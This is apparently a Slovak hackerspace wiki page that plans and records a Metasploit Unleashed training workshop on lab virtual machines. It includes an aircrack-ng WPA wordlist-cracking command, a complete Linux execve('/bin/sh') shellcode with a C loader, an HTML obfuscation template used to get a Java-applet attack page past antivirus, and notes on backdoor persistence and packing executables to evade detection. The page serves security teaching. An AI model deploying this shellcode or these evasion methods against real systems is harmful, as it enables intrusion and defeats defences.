Metasploit Unleashed Workshop

Metasploit Unleashed Workshop
organizer: zombie
date/time: Raz za mesiac
vo štvrtok
(nie prvého)
o 20:00
place: brmlab
stream: stream

Aktuálny stav (6/2012)

Metasploit Unleashed workshop pokračuje. Chcem sa spýtať, o aké témy bude záujem (viď nižšie)?

Ďalšia vec je, že by sa workshop nekonal každý týždeň, ale menej často (napríklad 1x za mesiac) vo štvrtok. Záleží na dohode…

Správa o štarte pravidelného workshopu (10/2011)

Rád by som urobil v brmlabe Metasploit Unleashed workshop. Bol by pravidelne raz za týždeň, prešlo by sa postupne od úplných základov, cez písanie exploitu, až k featurám metasploitu, ako je skriptovanie meterpreteru. Po skončení organizovaných stretnutí dúfam, že zostane hŕstka ľudí pracovať na hľadaní dier a písaní exploitov.

Nemá to byť prednáška pri tabuli, ale skúšanie príkladov naživo (jeden na projektor a inak každý sám na svojom počítači). Predpokladom je nainštalovaný Virtualbox alebo VMWare (od VMWare sú zdarma verzie Player a Server). Musia byť funkčné (to je upozornenie pre tých, čo majú nejak upravený kernel).

Prvý týždeň sa budú preberať základy (používanie msfconsole, rozdiely medzi payloadami, použitie existujúceho exploitu voči Windows XP SP2, úplne základné použitie meterpreteru).

Komu sa bude páčiť workshop alebo materiál Metasploit Unleashed, nech zváži dobrovoľný dar pre Hackers for Charity.

Video

Stream

Záznam

Čo je potreba mať nainštalované

Virtuálne mašiny k dispozícii na serveri data (nat.brmlab.cz), prístup má ten, kto dá Růžovi ssh kľúč, prípadne pozná heslo na web http://nat.brmlab.cz/metasploit:

Je možné púšťať metasploit inak, ako z BackTracku. Je ale potreba mať ruby a aby fungovalo spojenie s databázou (viď db_* príkazy), nakonfigurovať postgresql/mysql. Aktuálna verzia zo SVN (odporúčaný spôsob inštalácie):

$ svn co https://www.metasploit.com/svn/framework3/trunk/ metasploit/

Človek môže mať nainštalované nejaké vlastné Windows (taký človek sa aspoň nebude nudiť, lebo mu možno nebude fungovať všetko tak bez problémov, ako ostatným, ktorí majú rovnakú mašinu).

Materiály

http://www.offensive-security.com/metasploit-unleashed/

http://www.ms.mff.cuni.cz/~zembm2am/exploity/exploity.html#shellkod

1. týždeň

2. týždeň

Téma: identifikácia služieb v sieti, scanovanie

3. týždeň (2011-11-10)

Téma: hľadanie zraniteľností (Nessus/OpenVAS, neXpose)

4. týždeň (2011-11-17)

Téma: Wi-Fi

Je k tomu treba mať kartu, ktorá vie packet injection a balík aircrack-ng. Utility bežiace pod vmware-om vedia použiť wi-fi karty, ktoré sa pripájajú cez USB.

Či funguje packet injection, sa rozozná príkazom aireplay-ng –test; vo výstupe musí byť nenulové percento odpovedí (tj. 0% u každého AP znamená, že niečo nie je v poriadku).

Dúfam, že sa stihneme dostať aj ku karmetasploitu. K tomu je potreba metasploit s databázou.

Čo sme nakoniec robili:

grep -E '^.{8,63}$' /pentest/wordlists/dar... | aircrack-ng -w - -a 2 -e metasploitwifi airodump-dump.cap

5. týždeň (2011-11-24)

Téma: Fuzzing

6. týždeň (2011-12-08)

(po Lightning talkoch)

Téma: Fuzzing skutočný workshop…?

…každý si bude fuzzovať aplikáciu, ktorú chce?

7. týždeň (2011-12-15)

Téma: Exploity

8. týždeň (2011-12-22)

Shellkódy (2012-01-19)

Téma: Shellkód, jeho stavba

start
n
info registers
set $eip = shellkod
display/3i $eip
ni
set disassembly-flavor intel
x/30i shellkod    
            xorl %eax, %eax         /* vyrob nulu */ ; \
            movl %eax, %edx         /* 3. parametr execve (*envp := NULL) */ ; \
#include <asm/mman.h>

mprotect( (void*) ((unsigned) shellkod & 0xffffe000), 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
[bits 32]
    jmp    finta
shellkod:
    pop    esi
    mov    DWORD [esi+0x8],esi
    xor    eax,eax
    mov    edx,eax
    mov    DWORD [esi+0xc],eax
    mov    BYTE [esi+0x7],al
    mov    al,0xb
    mov    ebx,esi
    lea    ecx,[esi+0x8]
    int    0x80
    xor    ebx,ebx
    xor    eax,eax
    inc    eax
    int    0x80
finta:
    call   shellkod
    db      "/bin/sh"
nasm asmintel.asm 
/mnt/debian/usr/src/linux-kbuild-2.6.30/scripts/bin2c < asmintel
	"\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"
	"\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"
	"\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
#include <stdio.h>
#include <asm/mman.h>

char * shellkod =
    "\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"
    "\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
                    ;

int main() {
    mprotect( (void*) ((unsigned) shellkod & 0xffffe000), 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
    void(*f)(void) = shellkod;
    f();
    return 0;
}   

Java applet infection (2012-01-26)

Oproti oficiálnemu materiálu sme urobili tieto zmeny:

  1. opraviť vo VBScripte chýbajúci backslash pri » C:\windows\…
  2. výsledné HTML kvôli antivíru obfuskovať nasledovne:
  <html>
  <body bgcolor="white">
      <div id="java">
          <script>
              var div = document.getElementById('java');
              div.innerHTML =
                  // sem vložiť pôvodný obsah zakódovaný 
                  // cez String.fromCharCode(), 
                  // napr. pomocou HackBaru
              ;
          </script>
      </div>
  </body>
  </html>

Encoding/packing (2012-02-09)

Na minulom workshope sme si ukázali, ako pomocou Java appletu ovládnuť Windows mašinu. Ukázali sme si, ako si udržať prístup pomocou backdooru. V prípade, že je nainštalovaný antivírus (v našom prípade AVG), obsah útočnej stránky je zablokovaný. To sa nám podarilo obísť zakódovaním HTML stránky.

Antivírus ale naďalej detekuje hrozbu v ukladanom .exe súbore. Na ďalšom workshope si ukážeme, ako ho upraviť za účelom obídenia tejto detekcie.

Treba mať nainštalované: OllyDbg, LordPE (sú tiež stiahnuté v /data/mirror/metasploit_unleashed/debugger), z minulého workshopu aspoň funkčné Windows (!) a nejaký antivírus. Metasploit sa bude hodiť (kvôli generovaniu .exe súboru a kvôli multi/handleru, aby sa meterpreter mal kam pripojiť).

Materiály:

Na workshope vznikol problém – OllyDBG nám zobrazoval iný entry point, ako LordPE. Je to vlastnosť: nový OllyDBG 2.01 rozoznáva packer a analyzuje ho. Dá sa to vypnúť v Options→Options (Ctrl+O), SFX→Unpack… (uncheck), Use real entry from previous run (uncheck).

A co dál?

Príspevky

O aké témy je záujem?

Kto by si mohol prípadne pripraviť nejakú tému (z Metasploit Unleashed alebo im príbuznú)? Viz http://www.offensive-security.com/metasploit-unleashed/, alebo tu je niekoľko ďalších na výber:

Úlohy

Hodilo by sa vyriešiť nasledujúce problémy:

  1. meterpreter persistence skript (ktorý inštaluje backdoor) nekontroluje, či už nie je backdoor nainštalovaný
    • ak sa pripája na handler, ktorý spúšťa persistence, vedie to k exponenciálnemu nárastu backdoorov
    • ak sa pripája na inú adresu, hrozí, že užívateľ musí do personal firewallu dve spojenia miesto jedného
  2. jobs -v nezobrazí dosť podrobné informácie (ako hodnoty AutoRunScript), jobs -v -i <n> zobrazí nepravdivé hodnoty

video